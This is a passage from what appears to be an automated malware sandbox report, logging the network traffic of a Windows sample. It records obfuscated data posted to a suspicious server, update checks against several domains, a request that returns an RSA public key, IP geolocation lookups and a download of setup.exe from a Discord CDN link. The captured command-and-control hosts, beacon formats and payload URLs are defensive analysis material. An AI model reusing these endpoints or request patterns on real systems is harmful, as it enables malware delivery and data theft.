S8]rS6YrS4ErS9]rS6yqS9VsS2NsS6XsS3aqS1VsS1QrS0QrS6QrS8QrS1QrS5VrS9SrS5UrS6BrS6XrS3WrS4VrS7TrS4TrS6ZrS8XrS5PrS8WrS3Tr
Aug 21, 2024 08:33:19.589334965 CEST	224	IN	Data Raw: 53 37 58 72 53 37 53 72 53 30 5c 72 53 31 5c 72 53 38 54 72 53 36 54 72 53 33 5c 72 53 35 54 72 53 34 4f 72 53 39 54 72 53 37 54 72 53 39 50 72 53 31 53 72 53 31 56 73 53 33 64 73 53 32 58 73 53 32 56 73 53 33 51 72 53 35 51 72 53 39 51 72 53 30 Data Ascii: S7XrS7SrS0\rS1\rS8TrS6TrS3\rS5TrS4OrS9TrS7TrS9PrS1SrS1VsS3dsS2XsS2VsS3QrS5QrS9QrS0QrS7QrS4UrS0XrS6QrS4SrS5ZrS2\rS5PrS5OrS4XrS8YrS0^rS4YrS1\rS0VrS4BrS3WrS7SrS0]rS1OrS8]rS1VrS4TrS4^rS2BrS8SrS1XrS5TrS7VsS1dsS2XsS3VsS9QrS4QrS7Qr
Aug 21, 2024 08:33:19.589606047 CEST	1236	IN	Data Raw: 53 35 51 72 53 36 51 72 53 31 42 72 53 37 56 72 53 39 4f 72 53 35 58 72 53 38 54 72 53 38 51 72 53 38 5b 72 53 33 5d 72 53 30 57 72 53 32 51 72 53 33 54 72 53 37 5c 72 53 30 50 72 53 30 42 72 53 36 5b 72 53 38 4f 72 53 39 5e 72 53 32 5d 72 53 36 Data Ascii: S5QrS6QrS1BrS7VrS9OrS5XrS8TrS8QrS8[rS3]rS0WrS2QrS3TrS7\rS0PrS0BrS6[rS8OrS9^rS2]rS6TrS4QrS4WrS1XrS0YrS8QrS2\rS5XrS6VrS4VsS5dsS6XsS0VsS0QrS6QrS4QrS6QrS0VrS1PrS1ZrS3[rS0\rS9YrS3TrS1WrS9OrS9ZrS5UrS2UrS6VrS8VrS1^rS7^rS0ZrS9]rS0BrS8QrS6BrS8\rS1ZrS7O
Aug 21, 2024 08:33:19.589622021 CEST	224	IN	Data Raw: 53 35 5e 72 53 38 5a 72 53 31 4f 72 53 37 4f 72 53 37 42 72 53 33 56 72 53 36 50 72 53 38 4f 72 53 36 56 73 53 32 64 73 53 32 58 73 53 37 56 73 53 32 51 72 53 33 57 72 53 34 5a 72 53 35 56 72 53 35 50 72 53 33 5e 72 53 32 50 72 53 31 58 72 53 39 Data Ascii: S5^rS8ZrS1OrS7OrS7BrS3VrS6PrS8OrS6VsS2dsS2XsS7VsS2QrS3WrS4ZrS5VrS5PrS3^rS2PrS1XrS9UrS3PrS7]rS0PrS7^rS9^rS8ZrS5YrS0\rS4BrS6[rS5\rS1SrS9ZrS5TrS4]rS8QrS2UrS6WrS0ZrS3^rS4ZrS7[rS1PrS2VsS0dsS4XsS9VsS2QrS4WrS4XrS2PrS4TrS6\rS9OrS4Pr
Aug 21, 2024 08:33:19.589663029 CEST	1236	IN	Data Raw: 53 33 51 72 53 35 56 72 53 33 4f 72 53 30 5d 72 53 36 5c 72 53 30 57 72 53 33 5b 72 53 33 42 72 53 37 4f 72 53 37 57 72 53 35 55 72 53 36 53 72 53 31 5c 72 53 36 5d 72 53 30 58 72 53 38 53 72 53 38 59 72 53 34 5a 72 53 31 51 72 53 32 53 72 53 36 Data Ascii: S3QrS5VrS3OrS0]rS6\rS0WrS3[rS3BrS7OrS7WrS5UrS6SrS1\rS6]rS0XrS8SrS8YrS4ZrS1QrS2SrS6BrS9[rS0\rS6TrS0VsS2dsS8XsS5VsS1QrS6^rS0UrS8SrS1SrS3BrS3QrS2PrS0^rS5YrS0UrS2ZrS0SrS3PrS2UrS5QrS6SrS4]rS1TrS4ZrS5\rS9[rS9VrS1OrS2YrS8XrS7OrS4]rS1PrS7[rS4\rS5PrS1V
Aug 21, 2024 08:33:19.589684010 CEST	1236	IN	Data Raw: 53 38 51 72 53 37 56 72 53 38 58 72 53 37 56 73 53 32 64 73 53 31 58 73 53 38 56 73 53 30 50 72 53 38 5a 72 53 36 50 72 53 35 5e 72 53 33 56 72 53 32 4f 72 53 31 53 72 53 33 50 72 53 30 58 72 53 37 50 72 53 35 5e 72 53 30 59 72 53 33 42 72 53 37 Data Ascii: S8QrS7VrS8XrS7VsS2dsS1XsS8VsS0PrS8ZrS6PrS5^rS3VrS2OrS1SrS3PrS0XrS7PrS5^rS0YrS3BrS7UrS1SrS7PrS5UrS2OrS0^rS0]rS8OrS9\rS8\rS6VrS0VrS0\rS2[rS4BrS5\rS9ZrS7XrS6]rS4VsS5dsS1XsS5VsS4PrS5ZrS1]rS4]rS1[rS1]rS9YrS6YrS2\rS1YrS6SrS8[rS6TrS0WrS4XrS5OrS6QrS2B
Aug 21, 2024 08:33:19.589701891 CEST	1236	IN	Data Raw: 53 31 5c 72 53 34 50 72 53 32 5d 72 53 30 59 72 53 34 5e 72 53 31 4f 72 53 38 5c 72 53 33 51 72 53 30 5b 72 53 38 58 72 53 33 54 72 53 35 53 72 53 39 5c 72 53 34 5d 72 53 36 5e 72 53 32 5a 72 53 32 5a 72 53 30 50 72 53 35 56 73 53 30 64 73 53 37 Data Ascii: S1\rS4PrS2]rS0YrS4^rS1OrS8\rS3QrS0[rS8XrS3TrS5SrS9\rS4]rS6^rS2ZrS2ZrS0PrS5VsS0dsS7XsS4VsS0OrS9PrS4ZrS1\rS0UrS1YrS3PrS7OrS2PrS2SrS1OrS4YrS8YrS0OrS1QrS3YrS5ZrS7WrS8UrS4TrS6YrS2UrS5UrS6TrS5YrS4UrS1UrS1^rS3VrS9\rS2YrS9^rS3VsS2dsS7XsS1VsS2OrS2UrS0Q
Aug 21, 2024 08:33:19.589720964 CEST	1236	IN	Data Raw: 53 35 56 73 53 34 4f 72 53 30 5d 72 53 32 55 72 53 33 51 72 53 36 57 72 53 32 53 72 53 37 58 72 53 34 53 72 53 33 53 72 53 36 58 72 53 34 56 72 53 30 5e 72 53 39 4f 72 53 30 42 72 53 36 5c 72 53 36 4f 72 53 36 59 72 53 31 53 72 53 39 53 72 53 32 Data Ascii: S5VsS4OrS0]rS2UrS3QrS6WrS2SrS7XrS4SrS3SrS6XrS4VrS0^rS9OrS0BrS6\rS6OrS6YrS1SrS9SrS2^rS2[rS1PrS6BrS1XrS1PrS5WrS3QrS9PrS3ZrS2]rS6XrS1^rS9VsS7dsS4XsS6VsS9OrS5\rS1PrS9BrS0UrS6VrS7OrS1[rS8UrS6WrS2XrS2QrS4TrS0YrS4OrS0ZrS2[rS3UrS1ZrS6[rS2BrS4SrS8QrS2Q
Aug 21, 2024 08:33:19.589741945 CEST	1236	IN	Data Raw: 53 31 5e 72 53 31 5d 72 53 35 5b 72 53 36 58 72 53 30 5a 72 53 38 50 72 53 39 5e 72 53 36 5e 72 53 30 5a 72 53 32 50 72 53 32 5a 72 53 31 5b 72 53 39 56 73 53 35 64 73 53 31 58 73 53 33 56 73 53 35 56 72 53 38 4f 72 53 39 5a 72 53 36 5e 72 53 30 Data Ascii: S1^rS1]rS5[rS6XrS0ZrS8PrS9^rS6^rS0ZrS2PrS2ZrS1[rS9VsS5dsS1XsS3VsS5VrS8OrS9ZrS6^rS0\rS1BrS4OrS3[rS9VrS9WrS1BrS8TrS3VrS9BrS3QrS8OrS8[rS4SrS4WrS6^rS1XrS5UrS9TrS3UrS7OrS1BrS9UrS0SrS0SrS3QrS0\rS0XrS7VsS6dsS6XsS6VsS0VrS5OrS0]rS6TrS9TrS4WrS0]rS7PrS8Q
Aug 21, 2024 08:33:19.589761019 CEST	1236	IN	Data Raw: 53 30 5c 72 53 30 5d 72 53 36 50 72 53 33 50 72 53 31 5a 72 53 35 50 72 53 39 50 72 53 31 57 72 53 31 58 72 53 33 5e 72 53 37 5a 72 53 32 5d 72 53 37 54 72 53 34 50 72 53 31 5b 72 53 30 59 72 53 37 4f 72 53 30 54 72 53 32 5e 72 53 37 5a 72 53 33 Data Ascii: S0\rS0]rS6PrS3PrS1ZrS5PrS9PrS1WrS1XrS3^rS7ZrS2]rS7TrS4PrS1[rS0YrS7OrS0TrS2^rS7ZrS3\rS5]rS1VrS8]rS8]rS0BrS3WrS9VsS1dsS4XsS1VsS7VrS9^rS0BrS3TrS3QrS6]rS9^rS4UrS1QrS8[rS4VrS5TrS9SrS4]rS5TrS5\rS7SrS6SrS7[rS9\rS0PrS8TrS4^rS6XrS1ZrS7XrS4SrS0SrS0PrS5V
Aug 21, 2024 08:33:19.594506025 CEST	1236	IN	Data Raw: 53 31 56 72 53 32 4f 72 53 33 55 72 53 31 59 72 53 31 5e 72 53 33 57 72 53 39 56 73 53 38 64 73 53 32 58 73 53 36 56 73 53 37 55 72 53 39 55 72 53 32 55 72 53 35 4f 72 53 39 5a 72 53 38 55 72 53 39 59 72 53 30 5d 72 53 38 56 72 53 35 5e 72 53 32 Data Ascii: S1VrS2OrS3UrS1YrS1^rS3WrS9VsS8dsS2XsS6VsS7UrS9UrS2UrS5OrS9ZrS8UrS9YrS0]rS8VrS5^rS2WrS5[rS6BrS6\rS3BrS1QrS5XrS9TrS2OrS5VrS8]rS5QrS7OrS4SrS6WrS9XrS3^rS5WrS1OrS6]rS2XrS4YrS2VsS0dsS5XsS9VsS7UrS1UrS2WrS5PrS0PrS6]rS8SrS1^rS8PrS9TrS9^rS1VrS7XrS1BrS3S

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49772	35.161.111.70	80

Timestamp	Bytes transferred	Direction	Data
Aug 21, 2024 08:33:19.265888929 CEST	1018	OUT	POST /api2/google_api_ifi HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/0 Safari/537.36 Host: api5.check-data.xyz Content-Length: 722 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 6b 3d 62 46 31 6e 59 34 50 45 35 42 41 6c 36 55 59 65 33 50 63 77 31 52 41 26 72 3d 51 4c 48 49 36 4e 4c 48 49 33 4d 4c 48 49 36 51 4c 48 49 33 50 4c 48 49 39 26 67 3d 51 49 48 49 37 4d 4c 48 49 35 52 4c 48 49 32 54 4c 48 49 39 53 4c 48 49 37 4e 4c 48 49 32 55 4c 48 49 39 4f 4c 48 49 32 59 4c 48 49 35 51 4c 48 49 35 50 49 48 49 31 53 49 48 49 37 4f 4c 48 49 35 59 4c 48 49 38 52 4c 48 49 36 4d 4c 48 49 33 52 4c 48 49 37 4f 49 48 49 31 59 4c 48 49 39 4e 4c 48 49 35 4f 4c 48 49 32 4f 49 48 49 39 52 4c 48 49 33 59 4c 48 49 36 55 4c 48 49 34 55 4c 48 49 39 55 4c 48 49 31 4e 49 48 49 36 55 4c 48 49 35 52 49 48 49 38 52 4c 48 49 33 4d 4c 48 49 35 53 49 48 49 33 55 4c 48 49 34 4e 49 48 49 35 50 49 48 49 35 26 76 3d 54 4c 48 49 36 58 4c 48 49 35 56 4c 48 49 34 58 4c 48 49 30 56 4c 48 49 36 58 4c 48 49 33 53 4c 48 49 38 54 4c 48 49 36 50 4c 48 49 37 50 4c 48 49 39 26 63 3d 41 4a 48 49 34 46 4a 48 49 32 4f 48 48 49 36 43 4a 48 49 32 48 4a 48 49 35 46 4a 48 49 33 5a 49 48 49 31 48 4a 48 49 35 4f 48 48 49 35 55 [TRUNCATED] Data Ascii: k=bF1nY4PE5BAl6UYe3Pcw1RA&r=QLHI6NLHI3MLHI6QLHI3PLHI9&g=QIHI7MLHI5RLHI2TLHI9SLHI7NLHI2ULHI9OLHI2YLHI5QLHI5PIHI1SIHI7OLHI5YLHI8RLHI6MLHI3RLHI7OIHI1YLHI9NLHI5OLHI2OIHI9RLHI3YLHI6ULHI4ULHI9ULHI1NIHI6ULHI5RIHI8RLHI3MLHI5SIHI3ULHI4NIHI5PIHI5&v=TLHI6XLHI5VLHI4XLHI0VLHI6XLHI3SLHI8TLHI6PLHI7PLHI9&c=AJHI4FJHI2OHHI6CJHI2HJHI5FJHI3ZIHI1HJHI5OHHI5ULHI7&u=ULHI2NLHI6OLHI6SIHI7QIHI3NLHI5PLHI2PIHI9ULHI7OLHI4TLHI3SLHI5RLHI2MLHI9OIHI8RLHI9RIHI7PIHI1QIHI8SLHI1QIHI1RIHI5SIHI0QLHI1SLHI4RLHI9RLHI5RIHI4NIHI1OIHI3SIHI8SLHI6&rg=NIHI3NLHI0PIHI8OIHI3ULHI6MLHI3NIHI4SLHI7YLHI0PLHI1RLHI6VLHI2OLHI1YLHI6OLHI6RLHI7NIHI6VLHI0YLHI8SLHI0PLHI2PIHI6RIHI7YLHI0SIHI3OLHI0MLHI5QLHI2TLHI2OIHI6TLHI2PIHI6PIHI8QLHI9QLHI1SIHI4&w=QLHI8TLHI8QLHI7RLHI2VLHI6SLHI3
Aug 21, 2024 08:33:19.857213020 CEST	404	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Cache-control: no-cache="set-cookie" Content-Type: text/html; charset=UTF-8 Date: Wed, 21 Aug 2024 06:33:14 GMT Server: nginx Set-Cookie: AWSELB=9327DF5F0AF3D375CDC9DE0AFF98FDC82A9589C9824CDF98F06272B58281A369C0E7C7AE6EC5781D948882C8767BA08E2574E7340BD1AEA80ADD88F1586867317B7C62D227;PATH=/;MAX-AGE=43200 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49773	194.67.87.38	80

Timestamp	Bytes transferred	Direction	Data
Aug 21, 2024 08:33:19.517271042 CEST	372	OUT	GET /updates/yd/yt_wrtzr_1/win/version.txt?HqDPYSgSSTOASWztoUfpOUGOmVxVokMQW HTTP/1.1 Accept: / Cache-Control: no-cache Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: helsinki-dtc.com Connection: Keep-Alive
Aug 21, 2024 08:33:20.184273005 CEST	264	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 21 Aug 2024 06:33:19 GMT Content-Type: text/plain Content-Length: 10 Last-Modified: Thu, 15 Aug 2024 17:13:19 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66be372f-a" Accept-Ranges: bytes Data Raw: 32 2e 30 2e 30 2e 33 32 35 35 Data Ascii: 2.0.0.3255

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49774	185.22.66.15	80

Timestamp	Bytes transferred	Direction	Data
Aug 21, 2024 08:33:20.535984039 CEST	195	OUT	GET /updates/yd/yt_wrtzr_1/win/version.txt HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: www.rapidfilestorage.com
Aug 21, 2024 08:33:21.326806068 CEST	383	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 21 Aug 2024 06:33:21 GMT Content-Type: text/plain Content-Length: 10 Connection: keep-alive Set-Cookie: slb_route=c5ceac17a27c629461d7668b0a6b64a6; Path=/; Secure; HttpOnly Last-Modified: Thu, 15 Aug 2024 17:00:14 GMT ETag: "66be341e-a" Accept-Ranges: bytes X-Resolver-IP: 185.22.66.15 X-Resolver-IP: 185.22.66.15 Data Raw: 32 2e 30 2e 30 2e 33 32 35 35 Data Ascii: 2.0.0.3255
Aug 21, 2024 08:33:21.536811113 CEST	383	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 21 Aug 2024 06:33:21 GMT Content-Type: text/plain Content-Length: 10 Connection: keep-alive Set-Cookie: slb_route=c5ceac17a27c629461d7668b0a6b64a6; Path=/; Secure; HttpOnly Last-Modified: Thu, 15 Aug 2024 17:00:14 GMT ETag: "66be341e-a" Accept-Ranges: bytes X-Resolver-IP: 185.22.66.15 X-Resolver-IP: 185.22.66.15 Data Raw: 32 2e 30 2e 30 2e 33 32 35 35 Data Ascii: 2.0.0.3255

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49775	18.239.236.83	80

Timestamp	Bytes transferred	Direction	Data
Aug 21, 2024 08:33:20.704284906 CEST	384	OUT	GET /updates/yd/yt_wrtzr_1/win/version.txt?wPWlRIeCdrmKoDDvpnFWyPWSQYRIBYyeG HTTP/1.1 Accept: / Cache-Control: no-cache Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: skrptfiles.tracemonitors.com Connection: Keep-Alive
Aug 21, 2024 08:33:21.246179104 CEST	499	IN	HTTP/1.1 200 OK Content-Type: text/plain Content-Length: 10 Connection: keep-alive Last-Modified: Thu, 15 Aug 2024 17:13:25 GMT x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Server: AmazonS3 Date: Tue, 20 Aug 2024 17:45:25 GMT ETag: "17c89252835fdab937f9923cdf66e3bf" X-Cache: Hit from cloudfront Via: 1.1 851879d53a84651e63e2408132976dfe.cloudfront.net (CloudFront) X-Amz-Cf-Pop: LHR5-P6 X-Amz-Cf-Id: wYAHUc8f1g6rcBUo3sH41V6W7iKGeAcFi9kMvaNNJXXP-hs5fB92nA== Age: 46077
Aug 21, 2024 08:33:21.377315998 CEST	10	IN	Data Raw: 32 2e 30 2e 30 2e 33 32 35 35 Data Ascii: 2.0.0.3255

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49776	194.67.87.38	80

Timestamp	Bytes transferred	Direction	Data
Aug 21, 2024 08:33:21.403575897 CEST	187	OUT	GET /updates/yd/yt_wrtzr_1/win/version.txt HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: helsinki-dtc.com
Aug 21, 2024 08:33:22.054585934 CEST	264	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 21 Aug 2024 06:33:21 GMT Content-Type: text/plain Content-Length: 10 Last-Modified: Thu, 15 Aug 2024 17:13:19 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66be372f-a" Accept-Ranges: bytes Data Raw: 32 2e 30 2e 30 2e 33 32 35 35 Data Ascii: 2.0.0.3255

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49777	18.239.236.83	80

Timestamp	Bytes transferred	Direction	Data
Aug 21, 2024 08:33:22.092946053 CEST	199	OUT	GET /updates/yd/yt_wrtzr_1/win/version.txt HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: skrptfiles.tracemonitors.com
Aug 21, 2024 08:33:22.667193890 CEST	499	IN	HTTP/1.1 200 OK Content-Type: text/plain Content-Length: 10 Connection: keep-alive Last-Modified: Thu, 15 Aug 2024 17:13:25 GMT x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Server: AmazonS3 Date: Tue, 20 Aug 2024 17:45:56 GMT ETag: "17c89252835fdab937f9923cdf66e3bf" X-Cache: Hit from cloudfront Via: 1.1 e991b818a6011632592e8596a2d9592e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: LHR5-P6 X-Amz-Cf-Id: EA1ns4Z9BbTQmMOh1hjZCV3Ve13KYjWa5QQ5_GF7ImIX0P9FYkXDWg== Age: 46047
Aug 21, 2024 08:33:22.793715000 CEST	10	IN	Data Raw: 32 2e 30 2e 30 2e 33 32 35 35 Data Ascii: 2.0.0.3255

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49786	190.13.174.94	80

Timestamp	Bytes transferred	Direction	Data
Aug 21, 2024 08:33:54.426789045 CEST	128	OUT	GET /test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Aug 21, 2024 08:33:55.668585062 CEST	762	IN	HTTP/1.1 200 OK Date: Wed, 21 Aug 2024 06:34:06 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 558 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 7b 22 70 75 62 6c 69 63 5f 6b 65 79 22 3a 22 2d 2d 2d 2d 2d 42 45 47 49 4e 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 4d 49 49 42 49 6a 41 4e 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 45 46 41 41 4f 43 41 51 38 41 4d 49 49 42 43 67 4b 43 41 51 45 41 7a 7a 56 59 62 38 43 45 72 62 57 5c 2f 70 46 6b 68 4c 44 79 62 5c 5c 6e 39 49 4d 6e 4d 6a 5a 36 4c 58 7a 46 5a 38 56 45 4b 34 46 56 77 72 4b 4b 33 37 66 6d 65 71 69 6c 71 6f 34 33 66 6d 4c 50 49 47 2b 7a 67 36 41 54 70 5c 2f 31 2b 52 43 6a 57 79 42 6c 63 6d 67 52 66 5c 5c 6e 51 56 62 78 51 64 35 6b 67 6b 4a 4d 5c 2f 71 76 44 75 6f 5a 69 53 55 36 62 45 74 4f 32 47 75 6c 36 32 59 33 72 56 57 32 52 79 34 66 38 79 57 54 43 38 30 45 31 35 55 74 78 44 35 78 31 52 55 31 30 5c 5c 6e 4f 68 6a 56 4d 75 32 2b 6e 7a 76 46 34 42 42 69 54 47 4e 34 77 4f 52 2b 4b 45 62 6d 58 4a 4d 78 38 47 62 79 58 38 72 4b 70 53 56 4d 34 41 74 68 4f 44 68 66 31 4f 37 78 4f 38 4c 44 45 33 41 32 5c 5c 6e 4c 56 62 2b 66 67 58 74 6c 70 2b 4b 55 [TRUNCATED] Data Ascii: {"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzzVYb8CErbW\/pFkhLDyb\\n9IMnMjZ6LXzFZ8VEK4FVwrKK37fmeqilqo43fmLPIG+zg6ATp\/1+RCjWyBlcmgRf\\nQVbxQd5kgkJM\/qvDuoZiSU6bEtO2Gul62Y3rVW2Ry4f8yWTC80E15UtxD5x1RU10\\nOhjVMu2+nzvF4BBiTGN4wOR+KEbmXJMx8GbyX8rKpSVM4AthODhf1O7xO8LDE3A2\\nLVb+fgXtlp+KU7InK\/ykqgYGQJ7ot1T2xhbuiI2CypYEjUWj6ryIMBtYTR27kn1G\\nnslb1JL7NiXoCSEhbYxUqUv0hVuG1eZ7WqqGumf7CKjMJXZnLoyNBfWoli2qxuRX\\nfwIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5"}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49716	172.67.75.163	443	4032	C:\Users\user\Desktop\3QKcKCEzYP.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-21 06:32:08 UTC	201	OUT	GET / HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0 Host: api.myip.com
2024-08-21 06:32:08 UTC	561	IN	HTTP/1.1 200 OK Date: Wed, 21 Aug 2024 06:32:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZwcB9KTByhNYmlD6s3khLQnXPQRIH9KX6KV6lrp4UevmriVzo4epiQ4QM5ngjmUwb9QkIRWN2zn4B4RKhFAdmkaq89QLy5ur9VjpR8sJska60Hs7h%2B9LsnazUtCvyw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b68958bcefc7cb1-EWR
2024-08-21 06:32:08 UTC	62	IN	Data Raw: 33 38 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 63 22 3a 22 55 53 22 7d 0d 0a Data Ascii: 38{"ip":"8.46.123.33","country":"United States","cc":"US"}
2024-08-21 06:32:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49717	34.117.59.81	443	4032	C:\Users\user\Desktop\3QKcKCEzYP.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-21 06:32:08 UTC	250	OUT	GET /widget/demo/8.46.123.33 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0 Host: ipinfo.io
2024-08-21 06:32:08 UTC	458	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 1025 content-type: application/json; charset=utf-8 date: Wed, 21 Aug 2024 06:32:08 GMT referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-08-21 06:32:08 UTC	932	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 Data Ascii: { "input": "8.46.123.33", "data": { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level
2024-08-21 06:32:08 UTC	93	IN	Data Raw: 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: k Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49725	162.159.130.233	443	4032	C:\Users\user\Desktop\3QKcKCEzYP.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-21 06:32:14 UTC	373	OUT	HEAD /attachments/1272461485628719179/1275658810836389929/setup.exe?ex=66c6b159&is=66c55fd9&hm=06dccc1459e975128b6048bb7dc7f7716e473fbfda4829e75986eb59000ab6b0& HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Cache-Control: no-cache Host: cdn.discordapp.com Connection: Keep-Alive
2024-08-21 06:32:14 UTC	1201	IN	HTTP/1.1 200 OK Date: Wed, 21 Aug 2024 06:32:14 GMT Content-Type: application/x-msdos-program Content-Length: 7642866 Connection: close CF-Ray: 8b6895b1386d0f51-EWR CF-Cache-Status: HIT Accept-Ranges: bytes, bytes Cache-Control: public, max-age=31536000 Content-Disposition: attachment; filename="setup.exe" ETag: "6685baac90c11334ff11841bfa22e61b" Expires: Thu, 21 Aug 2025 06:32:14 GMT Last-Modified: Wed, 21 Aug 2024 03:32:41 GMT Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 x-goog-generation: 1724211161158906 x-goog-hash: crc32c=24Esrg== x-goog-hash: md5=ZoW6rJDBEzT/EYQb+iLmGw== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 7642866 x-guploader-uploadid: AHxI1nO22K7-2E6BtwjeQNfNE0t8IuKjlFaUGZCHIGtygTo0cwuvVxTyHXz0e027tnUW2syyq_PEl5A_gA X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Set-Cookie: 